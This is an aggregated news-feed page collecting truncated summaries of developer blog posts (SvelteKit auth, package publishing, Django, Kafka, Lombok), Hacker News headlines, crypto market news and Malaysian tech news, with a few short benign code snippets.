    I created a login for Surreal Database and SvelteKit. The core server function can be reused in ANY TS SSR Framework! Create a new SvelteKit project with TS. npx sv create surreal-auth Install latest version of Surreal JS. I am not using alpha for this demo. npm i -D surrealdb Unfortunately, you must manually handle errors with try and catch. I am hoping to get this fixed with destructuring. Here I created some helper functions to remedy this and put all the database functions in one place. export async function surrealConnect({ namespace, database, url }: { namespace: string, database: string, url: string }) { const db = new Surreal(); try { await db.connect(url, { namespace, database }); } catch (e) { …  ( 11 min )
    Revolutionize AI Conversations: Monetzly's Impact on Developer Earnings
    Unlocking Monetization in AI Conversations: Meet Monetzly Traditional advertising has struggled to find its footing in the world of AI conversations. Users engage differently with AI applications than they do with standard web platforms, making conventional ads feel intrusive and disruptive. This begs the question: How can developers monetize their innovative AI solutions without sacrificing user experience? Enter Monetzly—the first platform that allows developers to both monetize their apps and earn from hosting relevant ads, creating a sustainable ecosystem for AI innovation. As AI applications multiply, many developers are grappling with viable monetization strategies. Subscriptions and paywalls can alienate users, while traditional ads often disrupt the flow of conversations. The res…  ( 7 min )
    Contributing to Threadbare
    For the second pull request I decided to look for another game project, one that was more mature than ShooterCarnival. This led me to stumble upon Threadbare, which was another collaborative open-source game, this time in a top down style. Since this game was further along, I hoped that I'd be able to implement something more advanced. The first thing I looked at was a UI bug where the movement hint was misaligned and not at the bottom of the viewport. After taking the time to explore the Threadbare repository and structure, I found where the main scene was and got around to seeing how the objects were laid on the scene. The fix turned out to be a really simple variable change, but it did take some time to get to know the project. Nonetheless, I wanted to do more than this. I actually not…  ( 8 min )
    Releasing "Repository-Context-Packager" to npm
    I recently prepared and published a small CLI tool called Repository-Context-Packager to the npm registry. I used npm as my package registry and the standard npm publish for releasing. The release process started with preparing my package.json file. I set the version to 1.0.0 and added a files array to control what gets published. I also added a bin field for the CLI command, set the engines requirement, and created a prepublishOnly script to run tests and linting automatically before publishing. Next, I created a .npmignore file to exclude test files, GitHub workflows, and dev documentation. This kept the package size small—only about 27 KB with 11 files. I used npm pack --dry-run to preview the package contents before actually publishing. Before publishing, I made sure all 76 tests pass…  ( 8 min )
    Tiny Games, Big Feelings
    Everything actually started when I played Loneliness. What a strange, quiet punch of a game. I wasn’t expecting much (it’s just little squares on a white screen) but somehow it managed to pull more emotions out of me in two minutes than most AAA games do in fifty hours. I walked away confused and weirdly emotional, like someone had whispered something important into my ear and then vanished. So of course I did the only reasonable thing: I became obsessed. I hunted down the creator, Jordan Magnuson, and ended up reading his book Game Poems, which didn’t help at all because now I’m even more obsessed. The whole idea that games can be short, intentional emotional gestures suddenly made sense. Then I stumbled upon URL Snake, this tiny absurd miracle living inside the URL bar, built entirely wi…  ( 7 min )
    Rick Beato: Ken Scott: Crafting the Sound of The Beatles, David Bowie and Mahavishnu Orchestra
    Ken Scott is the legendary engineer and producer whose career kicked off in the tape library at Abbey Road and soon landed him behind the console with The Beatles and the boundary-pushing Mahavishnu Orchestra. His early days cutting tape and tweaking levels laid the groundwork for some of the most groundbreaking sounds of the late ’60s and early ’70s. From there, Scott became a go-to producer, shaping David Bowie’s golden era—think Hunky Dory, Ziggy Stardust and Aladdin Sane—while also guiding Supertramp to their signature pop-rock sheen and capturing Elton John’s most enduring hits. Throughout the interview, he dishes on studio hijinks, the art of collaboration and what it really takes to turn a great song into an unforgettable record. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” taking you down the yellow brick road to tally up every plot hole, pacing hiccup, and cinematic sin in the classic musical now that Wicked is back in theaters. Expect their signature fast-paced, sarcastic rundown and a verdict on whether The Wiz holds up—or falls flatter than you remember. Along the way they plug all the usual suspects: their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), a sinful poll, Patreon support, and social hangouts on Discord, Reddit, Instagram, and TikTok. Plus a shout-out to the writers behind the sins—so subscribe, join the fun, and keep counting! Watch on YouTube  ( 6 min )
  • Open

    How to Spot a Counterfeit Lithium-Ion Battery
    Comments  ( 38 min )
    Windows ARM64 Internals: Deconstructing Pointer Authentication
    Comments  ( 13 min )
    WorldGen – Text to Immersive 3D Worlds
    Comments  ( 4 min )
    Kids who own smartphones before age 13 have worse mental health outcomes: Study
    Comments  ( 16 min )
    Show HN: I built a wizard to turn ideas into AI coding agent-ready specs
    Comments  ( 1 min )
    Show HN: Build the habit of writing meaningful commit messages
    Comments  ( 9 min )
    A Reverse Engineer's Anatomy of the macOS Boot Chain and Security Architecture
    Comments  ( 102 min )
    Show HN: RealDeed – Tokenize Real Estate into Digital Assets
    Comments  ( 25 min )
    The Go-Between
    Comments  ( 30 min )
    The Mozilla Cycle, Part III: Mozilla Dies in Ignominy
    Comments  ( 9 min )
    Data General History by Foster
    Comments  ( 51 min )
    Markdown Is Holding You Back
    Comments  ( 9 min )
    Show HN: Forty.News – Daily news, but on a 40-year delay
    Comments
    Depot (YC W23) Is Hiring a Staff Infrastructure Engineer
    Comments  ( 6 min )
    China reaches energy milestone by "breeding" uranium from thorium
    Comments  ( 48 min )
    China Reaches Energy Milestone by "Breeding" Uranium from Thorium
    Comments  ( 3 min )
    Gwern's "Stem Humor" Directory
    Comments  ( 29 min )
    The realities of being a pop star
    Comments
    The privacy nightmare of browser fingerprinting
    Comments  ( 8 min )
    The Uncertain Origins of Aspirin
    Comments  ( 27 min )
    In a U.S. First, New Mexico Opens Doors to Free Child Care for All
    Comments
    New Apple Study Shows LLMs Can Tell What You're Doing from Audio and Motion Data
    Comments  ( 11 min )
    The Pentagon Can't Trust GPS Anymore
    Comments
    'The French people want to save us': help pours in for glassmaker Duralex
    Comments  ( 17 min )
    A looming 'insect apocalypse' could endanger global food supplies
    Comments  ( 112 min )
    ADHD and Monotropism (2023)
    Comments  ( 10 min )
    Agent Design Is Still Hard
    Comments  ( 10 min )
    Why DETRs are replacing YOLOs for real-time object detection
    Comments  ( 8 min )
    My private information is worth $30
    Comments  ( 5 min )
    Jack Ma's family shifted wealth to UK after years-long 'disappearance'
    Comments  ( 14 min )
    Libpng 1.6.51: Four buffer overflow vulnerabilities fixed
    Comments  ( 2 min )
    Roblox CEO Makes a Fool of Himself in Car-Crash Interview
    Comments  ( 17 min )
    Building a deep-space logistics startup
    Comments
    Superman copy found in mum's attic is most valuable comic ever at $9.12M
    Comments  ( 16 min )
    Openring-rs: a webring for static site generators written in Rust
    Comments  ( 7 min )
    Moss Survives 9 Months in Space Vacuum
    Comments  ( 15 min )
    On the Death of Tech Idealism (and Rise of the Homeless) in Northern California
    Comments  ( 22 min )
    Infinibay LXD Container
    Comments  ( 21 min )
    Sharper MRI scans may be on horizon thanks to new physics-based model
    Comments
  • Open

    Bitcoin's Plunge Brings Strategy's Holdings to Near Breakeven, but Key Test Lies 18 Months Ahead
    Michael Saylor's company's balance sheet isn't at imminent risk of collapse, but further capital-raising efforts could surely be hindered unless conditions improve.  ( 36 min )
    XRP Drops With Market as Bitcoin Weakness Pulls Altcoins Into Oversold Territory
    Technical indicators suggest oversold conditions, but a break above $1.96 is needed to reverse the current downward trend.  ( 35 min )
    As DATs Face Pressure, Institutions Could Soon Look to BTCFi for Their Next Strategic Shift
    Institutional BTC investors may explore whether bitcoin-native yield, collateral and liquidity opportunities could offer the next stage of strategic deployment.  ( 37 min )
    Coinbase to Add 24/7 Trading for SHIB, Bitcoin Cash, Dogecoin, and Others
    The exchange plans to introduce U.S. perpetual-style futures for altcoins, settling on a five-year expiry.  ( 34 min )
    Hobbyist Miner Beats "1 in 180 Million Odds" to Win $265K Bitcoin Block Using Just One Old ASIC
    The winning miner controls just 0.0000007% of Bitcoin’s total network hashpower, which recently hit a record 855.7 exahashes per second.  ( 34 min )
    Is Strategy Stock the Preferred Hedge Against Crypto Losses? Tom Lee Thinks So
    Strategy’s 650,000 BTC holdings make it a ‘pressure valve’ for the broader market, said the Bitmine Immersion chairman.  ( 34 min )
    'Liquidity Crisis': $12B in DeFi Liquidity Sits Idle as 95% of Capital Goes Unused
    This inefficiency disproportionately affects retail liquidity providers, with 50% losing money due to impermanent loss, and net deficits exceeding $60 million, a new report finds.  ( 35 min )
    Coinbase 'Negative Premium' at Widest Level since Q1, Signalling Weak U.S. Demand
    Bitcoin is on track for its worst weekly performance since March, while U.S. demand indicators weaken as the Coinbase premium declines and spot ETFs reach a record volume.  ( 35 min )
    UK Crime Network, Worth Billions, Used Crypto to Funnel Drug Cash to Russia, NCA Says
    A billion-pound laundering network spread across the UK used cryptocurrency to move criminal proceeds and help Russian interests evade sanctions, according to the NCA.  ( 34 min )
    Aerodrome Finance Hit by 'Front-End' Attack, Users Urged to Avoid Main Domain
    The attack did not compromise the underlying smart contracts, but users are advised to avoid the compromised domains and instead use decentralized ENS domains.  ( 34 min )
    Turning ‘$11K to Half a Billion Dollars From Trading Memecoins’: Tales From a Crypto Wealth Manager
    The chief of crypto-focused multi-family office Digital Ascension Group talks about his VIP services for wealthy holders of digital assets.  ( 40 min )
    Bitcoin Treasuries to Move Beyond HODL to Yield, Hedging and Share Buybacks as NAV Discount Bites
    As the bitcoin treasury frenzy fades, the HODL pitch isn't completely dead, but firm should consider active reserve management to stand out, analysts say.  ( 36 min )
    Bitcoin Greed & Fear Index Shows Extreme Pessimism, Tactical Bottom May Be Near: Analyst
    Peak fear suggests a tactical low may be near.  ( 34 min )
  • Open

    Alfa Romeo Junior Hinted For Potential Local Debut
    Alfa Romeo Malaysia recently previewed the Giulia and Stelvio, marking the automaker’s return to the local market. During the preview, the company also revealed two other models that might be arriving in Malaysia, one of which is the Junior. The entry-level Alfa Romeo model was introduced back in April 2024 and was refined later this […] The post Alfa Romeo Junior Hinted For Potential Local Debut appeared first on Lowyat.NET.  ( 18 min )
    Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November
    Warhammer: Vermintide 2 is free to claim again on Steam right now, which is good news for those who’ve missed your chance to grab it back in 2022. The offer lasts until 24 November 2025, and once you redeem it, the game is yours permanently. If you’re new to the series, Vermintide 2 is the […] The post Vermintide 2, One Of Warhammer’s Best Co-op Games, Is Free Again On Steam Until 24 November appeared first on Lowyat.NET.  ( 34 min )
    Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through
    Ubisoft has confirmed that its €1.16 billion (~RM55.3 billion) deal with Chinese conglomerate Tencent has officially concluded. The French video game studio confirmed that the latter’s investments has been completed, giving it a 26.32% share in their co-founded outfit, Vantage Studio. “Today’s closing crystallises the value of our world-class IPs and marks a pivotal milestone […] The post Ubisoft’s €1.16 Billion Deal With Tencent Has Gone Through appeared first on Lowyat.NET.  ( 33 min )
    POCO Pad X1 And Pad M1 To Debut 26 November
    POCO is gearing up to launch the F8 series next week on 26 November. However, the smartphones are not the only devices to debut on that day, as the Xiaomi sub-brand will also be unveiling two tablets: the Pad X1 and the Pad M1. The company has started posting teasers on its official X account, […] The post POCO Pad X1 And Pad M1 To Debut 26 November appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Axelang - A Systems Programming Language with Concurrency as a First-Class feature
    Axelang is a new systems programming language designed around the following question: Why is concurrency an afterthought, a library, or a bolt-on runtime — as opposed to a language-level concept? Axe aims to resolve the issue in that rather than forcing developers to manually struggle with bolted on threads, locks, futures and external libraries, Axe makes concurrency part of the core language semantics, in that writing Axe forces you to think concurrently by default. Modern CPUs have not been about single-thread speed for a long time. Performance improvements are generally achieved by: Adding more cores Adding more threads Hiding I/O latency Overlapping compute with work But most languages still make concurrency: verbose error-prone tacked on after the fact C, C++, Java, and Rust rely hea…  ( 7 min )
    Day 18 Django learnings
    🚀 Django Learning Journey – Day 18 Another day, another chapter unlocked in my Django learning journey! Today, my curiosity took control. I asked myself: So instead of sticking with Django’s default sqlite3, I explored the world of cloud-based PostgreSQL databases — especially the ones offered by Render. 🧭 Exploring Cloud Databases I spent time reading articles, browsing StackOverflow, and watching YouTube tutorials on how Django connects to external databases. There are so many choices out there, but I decided not to overwhelm myself. ⚙️ Setting Up a Test Project To avoid breaking my main project, I created a test Django project and pretended this was a real production setup. Surprisingly, all the setup felt like a quick refresher — I almost remember all the commands now! whitenoise gunicorn Feels nice to see how the brain actually learns through repetition. 😄 🔑 Key Learnings of the Day To connect Django to an external PostgreSQL database, these two packages became essential: pip install psycopg2 I’m still learning what psycopg2 does under the hood, dj-database-url, on the other hand, was very clear: Using the parsed URL, I updated the settings.py file and fed the database link through Render’s environment variables. 📤 Pushed to Git → Deployed → Nervous Excitement After setting everything locally: Pushed to GitHub Deployed to Render And yes… that feeling of watching a project deploy still hits different! But then… ❌ “Bad Request (400)” — The Plot Twist Everything looked perfect… At this point, I had no clue what the issue was. ❓ Honest Questions to the Community 1️⃣ Should I continue learning with PostgreSQL or stick to Django’s default sqlite3 while learning? Would love to hear honest suggestions! ❤️ Signing Off Not a huge coding day, but a massive learning day. Deployment teaches you things that tutorials never do. And I’m excited to wake up tomorrow and fix that 400 error! If you’ve ever felt this same excitement (or confusion!) while connecting databases or deploying, tell me your story in the comments!  ( 7 min )
    The DoD Experiment: Trying to Fix ‘Done’ Before It Breaks Us
    This is the first in a series documenting an experiment: bringing clarity and explicit agreements to a distributed engineering team. Starting with something deceptively simple—the Definition of Done. I've been putting off writing about my work for years. The excuse was always the same: "I'll write once I've figured it out." Which is bullshit, obviously. You never figure it out. You just accumulate scar tissue and call it experience. The truth is simpler: I was waiting to have a success story worth telling. Because who wants to read "here's what I'm trying, it might crash"? Turns out, that's exactly what's interesting. The messy middle where you don't know if your hypothesis is brilliant or stupid. So here we go. I'm a frontend lead at a Swiss healthcare company, and I'm about to try someth…  ( 10 min )
    Coding Challenge Practice - Question 62
    The task is to write a function that finds the first duplicate given a string that might contain duplicates. The boilerplate code function firstDuplicate(str) { // your code here } Declare a variable to keep track of every character that is seen const seen = new Set() As soon as a character that has been seen previously is reached, that is the first duplicate. for (let char of str) { if (seen.has(char)) { return char; } seen.add(char); } If the end is reached and there is no repeat, return null. The final code function firstDuplicate(str) { // your code here const seen = new Set(); for(let char of str) { if(seen.has(char)) { return char; } seen.add(char) } return null; } That's all folks!  ( 6 min )
    Sets do not possess order
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    Building Delta Health: Frontend Adventures in Empowering Rural Clinics
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    Inside ChatGPT: Deconstructing "Attention Is All You Need" (Part 1)
    To understand how modern Large Language Models (LLMs) like ChatGPT work, we must first understand the architecture that changed everything: the Transformer. Before we dive into the complex layers, we need to establish why we moved away from previous methods and how the model initially processes language. Before the "Attention Is All You Need" paper, the standard for processing sequential data (like text) was the Recurrent Neural Network (RNN).In an RNN, data is processed sequentially. We give the network an initial state (State 0) along with an input x1 to produce an output y1 and a hidden state. This hidden state is passed forward to the next step, allowing the network to "remember" previous inputs. While intuitive, RNNs suffer from severe limitations, specifically slow computation for l…  ( 9 min )
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    Untitled
    Check out this Pen I made!  ( 6 min )
    The 2025 Advantage: Multi-Stack + UX Thinking + AI Automation
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    Introducing nenv — A portable, per-project Node.js runtime for Windows (no global install required)
    Most of us have dealt with Node.js version conflicts at some point: One project needs Node 18. Another needs Node 20. A global upgrade breaks something. Corporate or restricted laptops don’t allow installers. CI/CD behaves differently from local environments. Teammates run “slightly different” versions and bugs magically appear. On Linux/macOS, tools like nvm, asdf, volta, and fnm help… So I started experimenting with a simple idea: What if every project had its own Node.js runtime, completely local, portable, and isolated? Just like Python has .venv. That experiment grew into a small open-source tool called nenv. 🚀 nenv — Portable Node.js per project (Windows) nenv is a lightweight script that downloads Node.js directly into your project folder and makes all Node/npm commands use that lo…  ( 7 min )
    When Heaven Teaches You How to Live: A Deep Journey Through Matthew Chapter 6
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    Building an AWS-Based RAG Pipeline
    The Generational AI Blind Spot We've got a fantastic new AI coding assistant, but when you ask it about your company's proprietary service architecture, it gives you a generic shrug (or worse, a confident hallucination). Why? Because our AI lives on the general internet, and our team's hard-won knowledge is locked behind firewalls and scattered across tools like Confluence, Slack, and internal documentation. This is a pain point for everyone. As a service developer, we need that agent to understand the nuance of our codebase and team conventions. As a service operator, we can't afford to waste time retracing the steps of a solved production issue - we need the fastest, most reliable fix, instantly. If you're interested in how to systematically manage context for AI coding assistants, che…  ( 9 min )
    The Monolith Strikes Back: When a Monolith Still Beats Microservices
    Here are the moments where a monolith still wins without breaking a sweat: When you spend more time stitching services together than building actual features. When a simple bug fix turns into a safari across eight repos, three pipelines, and a trace ID longer than your weekend. When your “independent deployments” still require team-wide coordination because the contracts can’t sit still. When your startup is running nine services at 50 RPS total and the DevOps bill looks like you're streaming Netflix in 16K. When onboarding a new developer requires a 40-minute architecture TED Talk and a whiteboard marker that gives up halfway. In those moments, a clean, modular monolith starts looking less like nostalgia and more like high-performance strategy. A monolith gives you focus, speed, and clarity. Microservices give you scale and autonomy, but only when you genuinely need them and you're ready to pay the operational tax. Real architectural leadership isn't about chasing trends. It's about aligning tech choices with your team’s execution capacity and your product's actual trajectory. The monolith isn't outdated. It's the adult in the room. I come in peace!  ( 6 min )
    Python by Structure - Class-Based Decorators That Remember
    Timothy was reviewing a performance monitoring system when he stopped on an unfamiliar pattern. "Margaret, this decorator isn't a function - it's a class. I've only ever seen decorators written as functions." Margaret looked over. "Class-based decorators are powerful when you need your decorator to maintain state. What are you looking at?" class CallCounter: """A decorator class to count function calls.""" def __init__(self, func): self.func = func self.count = 0 def __call__(self, *args, **kwargs): self.count += 1 print(f"-> Calling {self.func.__name__}. Call count: {self.count}") return self.func(*args, **kwargs) @CallCounter def process_data(data): """Processes the input data.""" return data.upper() print(process_data("hello…  ( 8 min )
    Payra WooCommerce Plugin Updated — New Branding and Improved Media
    We’ve released an update to the Payra Cash plugin for WordPress/WooCommerce, focused on refreshing the branding and aligning the plugin with the broader Payra product ecosystem. What’s Updated? New Logo — consistent with the updated Payra branding Updated Links — Payra is now a suite of products, so plugin links now point to specific product pages instead of a single homepage New media sources added — including links to dev.to, Hashnode, and the YouTube channel Improved plugin metadata — cleaner, more modern, and aligned with the Payra identity Small UX refinements — clarified docs links, sidebar adjustments, updated info pages This update does not change payment functionality — it’s a lightweight refresh to prepare the plugin for major upcoming features. What’s Coming Next? Future planned updates include: Payment Links integration Subscription billing Smarter on-chain status validation Expanded merchant configuration options  ( 6 min )
    Vehicle Diagnostic Timeline and Dealership Communication Analysis - Volkswagen
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    Using DigitalOcean Spaces to Store MySQL Cache Files in PHP
    Redis and Memcached are the gold standard for real-time caching, sometimes you want a simple, file-based approach — and maybe even store those cached files in the cloud for durability and scalability. In this article, I’ll show you how to: Implement a file-based cache for MySQL queries in PHP Upload those cached JSON files to DigitalOcean Spaces Serve cached data efficiently to clients Step 1: Local File-Based Cache in PHP We start with a simple caching mechanism that saves query results into a JSON file: <?php $cacheFile = "cache/users.json"; $cacheTime = 300; // 5 minutes if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) { $data = json_decode(file_get_contents($cacheFile), true); } else { $mysqli = new mysqli("localhost", "user", "pas…  ( 7 min )
    How Mental Health Impacts Student Performance (And Why It Matters in a High-Pressure, Digital Learning World)
    Modern students aren’t just dealing with homework and exams anymore. They’re navigating a hyper-connected, always-on world filled with digital distractions, performance pressure, and unrealistic expectations. And here’s something many educators still overlook: 💡 A student’s mental health directly affects their ability to learn, focus, and perform. As teams at NVelUp.care In this post, we’ll break down why mental health plays such a big role in learning—and how schools, parents, and students can build healthier academic habits. 💭 Why Mental Health and Academic Performance Are Deeply Connected Students today face more mental strain than any previous generation. Mental health challenges commonly affecting students include: Depression → low motivation, skipped classes Anxiety → test panic, f…  ( 8 min )
    How We Use AI as Software & Cloud Engineers
    How We Use AI as Software & Cloud Engineers AI has become a big part of our daily work as engineers. It helps us build faster, work smarter, and deliver better solutions. As software engineers, AI assists with writing code, fixing bugs, creating tests, and improving code quality. It acts like a coding partner that speeds up development and reduces mistakes. As cloud engineers, AI helps automate infrastructure, optimize cloud costs, and predict issues before they happen. AI tools analyze systems, scale resources automatically, and keep cloud environments secure. In DevOps, AI improves CI/CD pipelines, scans for vulnerabilities, and speeds up testing. It removes repetitive tasks so we can focus on designing better architectures and solving real problems. AI doesn’t replace engineers — it empowers us. With AI handling routine work, we have more time to build creative, scalable, and intelligent solutions.  ( 6 min )
    🎯 Apache Kafka Single-Node Practice Guide
    Your Personal Message Delivery System Welcome to your hands-on Kafka learning journey! In this guide, we'll build a complete Kafka system on a single machine - perfect for learning, testing, and understanding how everything works together. Think of this as creating your own Digital Post Office on your computer: ┌─────────────────────────────────────────┐ │ YOUR LAPTOP (Single Machine) │ │ │ │ ┌───────────────────────────────┐ │ │ │ KAFKA BROKER (Port 9092) │ │ │ │ Your Post Office │ │ │ ├───────────────────────────────┤ │ │ │ │ │ │ │ 📬 Topic: "customer-orders" │ │ │ │ 📬 Topic: "payment-alerts" │ │ │ │ 📬 Topic: "user-activity" │ │ │ │ …  ( 10 min )
    10 Best AI Deals for Black Friday and Cyber Monday 2025
    Black Friday stopped being about TVs a long time ago. In 2025, the real rush is digital. Solopreneurs aren’t hunting for gadgets anymore - they’re looking for software that gives them back the one resource they’re always short on: time. Website: jasper.ai Website: notion.so Website: clickup.com Website: grammarly.com Website: Halper.ai Website: surferseo.com Website: canva.com It’s easy to get swept up in the Cyber Week chaos. But the best AI investments aren’t impulsive - they’re intentional. Integration: Does it work with your current setup? Automation depth: Will it truly replace repetitive tasks or just rename them? Support: Is there a real team behind it, or just a chatbot? Scalability: Will it still fit when your client base triples? “In 2025, the best AI tools don’t just save time - they restore mental space,” says tech strategist Lena Morales. “Automation isn’t replacing entrepreneurs. It’s giving them their evenings back.” These are the standout AI tools worth exploring during Black Friday and Cyber Monday 2025. They help you communicate faster, stay organized, streamline decision-making, and reduce the mental load that comes with running a business alone. The discounts are great, but the real value lies in choosing systems that give you time back - time to focus, time to grow, and time to enjoy the parts of your work that actually matter. Whether you're creating content with Jasper, managing projects with ClickUp, or using Halper to centralize your entire workflow, one thing is clear: automation isn’t an add-on in 2025. It’s the foundation of a sustainable business. AI doesn’t replace your work. It makes the work lighter - and gives your hours back to you.  ( 9 min )
    Most Affordable AI Rank Tracking Tools
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    How I’m Building a Racing-Analysis Web App from Raw Telemetry
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    Lombok + Gradle + IntelliJ (Java 21) — Guia rápido
    Passo a passo resumido para configurar o Lombok no IntelliJ com Gradle usando Java 21. Instale o plugin Lombok no IntelliJ Settings → Plugins → Marketplace → Lombok → Install → Reinicie o IDE. Habilite Annotation Processing Settings → Build, Execution, Deployment → Compiler → Annotation Processors → marque Enable annotation processing. Configure o Java 21 (toolchain) no Gradle Adicione o Lombok corretamente nas dependências (main e test) do build.gradle dependencies { compileOnly 'org.projectlombok:lombok:1.18.38' annotationProcessor 'org.projectlombok:lombok:1.18.38' testCompileOnly 'org.projectlombok:lombok:1.18.38' testAnnotationProcessor 'org.projectlombok:lombok:1.18.38' // ... your others dependencies } Não use implementation para Lombok. Sincronize e compile No IntelliJ: clique em Load/Reload Gradle Changes (ícone do elefante). No terminal: ./gradlew clean build Teste rápido import lombok.*; @Data @Builder class Demo { private String name; } Se Demo.builder() e getName() existirem, está tudo certo. Para validar, você poderá gerar uma classe de Teste, como no exemplo abaixo. import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; class DemoTest { @Test void testBuilderAndGetter() { Demo demo = Demo.builder().name("Jonathas").build(); assertEquals("Jonathas", demo.getName()); } } Dica!! Após alterar o build.gradle, sempre dê um clean + build ou Reload Gradle no IDE.  ( 6 min )
    A practical guide to refactoring complex database queries in Laravel
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    How Becoming a Parent Helped Me Notice the Small Things
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    Asking n People (n Generative AI Models) Simultaneously
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    Combine retry feature and logging in second issue
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    I Built a WebSocket Server to Stream iPhone LiDAR and IMU Data
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    Digital Sabbatical and Outernet (Bite-size Article)
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    Focus Tab: The Minimalist Browser Tool That Supercharges Your AI Workflow
    In a world where AI tools like ChatGPT, Claude, and GitHub Copilot are becoming part of our everyday work, one challenge remains unchanged: 👉 Our attention is constantly under attack. Even with powerful AI assistants, productivity collapses when your browser is drowning in 15, 30, or 50 open tabs. It turns your browser into a calm, distraction-free workspace so your AI sessions actually stay productive. 🚀 What Is Focus Tab? Focus Tab is a simple Chrome extension that hides all tabs except the one you're currently using — and restores them with one click. It’s built for one purpose: Eliminate digital clutter instantly so you can stay deeply focused. Whether you're working, studying, coding, or collaborating with AI tools, Focus Tab creates a single-task environment that keeps your mind clear. ✨ Key Features 🧘‍♀️ Focus Mode 🔄 One-Click Restore ⚡ Lightweight & Fast 🔒 Privacy-First 🧭 Simple Interface 💡 Why Focus Tab Matters (Especially in the AI Era) ➡️ to brainstorm But AI is only powerful when you’re focused. 🔥Here’s how Focus Tab enhances your AI workflow: 1️⃣ Reduces Cognitive Load 2️⃣ Helps You Stay in Deep Work Mode 3️⃣ Prevents Tab Overload During Research 4️⃣ Boosts Performance 5️⃣ Great for Students & Developers 🧠 How Focus Tab Works It’s extremely simple: 1️⃣ Click the Focus Tab icon in your Chrome toolbar. No setup. 🔐 Privacy You Can Trust Focus Tab does not collect or share any personal information. 🧩 Final Thoughts: Minimal Tools Matter in an AI World As AI gets more advanced, our tools often get more complex — dashboards, prompts, sidebars, plugins, integrations. But sometimes, the most powerful productivity booster is simplicity. Focus Tab creates a calm, intentional digital space where your AI tools can shine. If you’re looking for a lightweight way to boost focus, reduce tab chaos, and get more value from AI assistants, Focus Tab is one of the easiest upgrades you can make.  ( 8 min )
    Building a Process Injection Detector in Rust
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    Dear Developer: Your Database Isn't a File Cabinet!
    Hey guys! I’m an Engineering Manager, and I’m sharing some notes deep from the development trenches. I wanted to kick off my writing journey by talking about a massive performance mistake that I see all the time when I do code reviews. It’s about how we treat our Database (or DB for short). In my experience, several issues crop up when databases aren't utilized to their full potential. Look, we often treat the DB like a basic File Cabinet. We ask for raw data, it returns a massive file, and then WE (the application layer) have to do all the complicated work. That's kind of how the front-end treats us! But here's the crazy part: your database is actually a super-powerful, specialized machine built for searching, connecting, and crunching data. When you force your application to handle all t…  ( 9 min )
    Building Real-Time Lakehouse with S3 Tables, AWS Glue, and Apache Doris
    We built a real-time lakehouse with S3 Tables, AWS Glue, and Apache Doris. In this solution, S3 Tables stores data in the Apache Iceberg format on Amazon S3. AWS Glue manages and organizes metadata and schema, providing a single catalog that connects all resources. And Apache Doris runs sub-second queries directly on those Iceberg tables: no ETL, no data copies, no complex architecture. Together, the S3 Tables + AWS Glue + Apache Doris form a real-time lakehouse that combines the openness of a data lake with the high performance of a data warehouse, providing a key data foundation for AI and agentic workloads. You get: Unified metadata for easy table discovery and governance Open Apache Iceberg tables on S3 with ACID, time-travel, and schema evolution A high-performance query engine wi…  ( 7 min )
    ClausTk - A Tkinter library for creating New Year's and Christmas-themed interfaces
    The New Year is coming soon, and I've decided to create ClausTk—a library that will allow you to create vibrant and festive interfaces in Tkinter. I'd love to hear your feedback and create your own programs using ClausTk. GitHub: https://github.com/limafresh/ClausTk Documentation: https://limafresh.github.io/ClausTk/ Pip: pip install claustk Screenshot (simple program example): Code example: import claustk def click_btn(): print("Merry Christmas and Happy New Year!") root = claustk.ClausWindow() button = claustk.ClausRoundedButton(root, text="Click me!", command=click_btn) button.pack(padx=10, pady=10) root.happynewyear()  ( 6 min )
    Top 5 AI Tools Every Developer Should Try in 2025
    Plus a simple tip to avoid inbox overload when testing them The AI ecosystem is moving fast, and 2025 has already delivered some powerful tools that can seriously upgrade your developer workflow. Whether you write code, design apps, or automate tasks, these tools have become part of my daily setup - and they’re absolutely worth exploring. Here are my top five picks this year: Cursor AI - The AI-First Code Editor Cursor has changed how many developers write code. It doesn’t just autocomplete - it understands your project, rewrites files, explains complex logic, and acts like a real pair programmer. If you haven’t tried an AI-native IDE yet, start here. Replit AI / Replit Agent Replit’s AI agent is great for spinning up prototypes quickly. It can scaffold a full-stack app in minutes, run…  ( 7 min )
    The Future of Messaging: Why Telegram Mini Apps Are Gaining Popularity
    Introduction In today’s fast-paced digital world, messaging platforms have evolved far beyond simple text exchanges. One of the most exciting developments in this space is the rise of Telegram mini apps. These compact applications, embedded directly within the Telegram platform, offer users a seamless experience without the need to download separate apps. For both casual users and businesses, these mini apps provide an innovative way to interact, share, and perform tasks all within a single interface. Unlike traditional apps, which can clutter devices and demand storage, Telegram mini apps bring functionality and convenience together in one place, making them increasingly attractive to millions worldwide. Telegram mini apps stand out in the crowded messaging market due to their speed, co…  ( 9 min )
    Google Gemini 3 Pro — Key Features, Ecosystem Updates, and Technical Evaluations
    Google’s Gemini 3 Pro represents a clear shift in Google’s AI direction — moving toward deeper reasoning capabilities, long-context understanding, and more autonomous agentic workflows across the ecosystem. I curated a collection that brings together the most useful resources about Gemini 3 Pro: Core model features Ecosystem releases Technical evaluations Tooling updates Early benchmarks and community analysis 📚 Full curated collection here: 👉 https://www.culink.io/teamculink/gemini-3-pro Whether you're exploring reasoning models, building agents, or researching multimodal systems, this collection gathers the most helpful links in one place. If you’ve come across other high-quality Gemini 3 resources, feel free to recommend — I’ll keep expanding the list.  ( 6 min )
    OSD600: Lab 9
    This week we're releasing version 1.0.0 of our repository context packager. This was an interesting process, and easier than I expected, but a little tricky to set up right. I followed this guide to packaging python project using PyPI. I chose the backend setuptools since it is the most traditional and widely used packaging tool. First thing I needed to do was restructure my project. I needed to move everything into a repository_context_packager directory and rename my main script to scan_repo.py with an underscore, because Python packaged need underscores. I already had an __init__.py file, but had to move it into the main directory, so this ended up being the new directory structure: Next I created the pyproject.toml file to configure the package metadata, dependencies, and the CLI ent…  ( 8 min )
    Building forms using React Hook Form
